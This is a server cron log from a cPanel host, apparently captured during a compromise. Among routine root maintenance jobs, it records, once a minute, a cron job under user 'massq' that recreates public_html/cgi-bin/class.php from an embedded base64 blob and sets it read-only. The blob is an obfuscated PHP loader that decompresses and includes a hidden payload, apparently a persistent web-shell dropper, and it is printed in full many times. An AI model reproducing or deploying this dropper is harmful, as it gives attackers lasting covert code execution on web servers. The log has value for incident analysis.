Aug 30 05:04:01 server CROND[29309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:05:01 server CROND[29715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:05:01 server CROND[29717]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 05:05:01 server CROND[29718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:05:01 server CROND[29721]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:05:01 server CROND[29722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:05:01 server CROND[29720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:05:01 server CROND[29723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:05:01 server CROND[29724]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 05:05:01 server CROND[29726]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:06:01 server CROND[30591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:06:01 server CROND[30592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:06:01 server CROND[30593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:07:01 server CROND[30974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:07:01 server CROND[30973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:07:01 server CROND[30975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:08:01 server CROND[31427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:08:01 server CROND[31428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:08:01 server CROND[31429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:09:01 server CROND[31917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:09:01 server CROND[31918]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 05:09:01 server CROND[31919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:09:01 server CROND[31920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:10:01 server CROND[32327]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:10:01 server CROND[32332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:10:01 server CROND[32333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:10:01 server CROND[32334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:10:01 server CROND[32331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:10:01 server CROND[32339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:10:01 server CROND[32337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:10:01 server CROND[32343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:11:01 server CROND[793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:11:01 server CROND[794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:11:01 server CROND[795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:12:01 server CROND[1405]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 05:12:01 server CROND[1404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:12:01 server CROND[1409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:12:01 server CROND[1408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:13:01 server CROND[1804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:13:01 server CROND[1806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:13:01 server CROND[1805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:14:01 server CROND[2318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:14:01 server CROND[2319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:14:01 server CROND[2320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:15:01 server CROND[2779]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:15:01 server CROND[2781]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:15:01 server CROND[2782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:15:01 server CROND[2785]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:15:01 server CROND[2787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:15:01 server CROND[2786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:15:01 server CROND[2784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:15:01 server CROND[2783]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 05:16:01 server CROND[3648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:16:01 server CROND[3649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:16:01 server CROND[3650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqI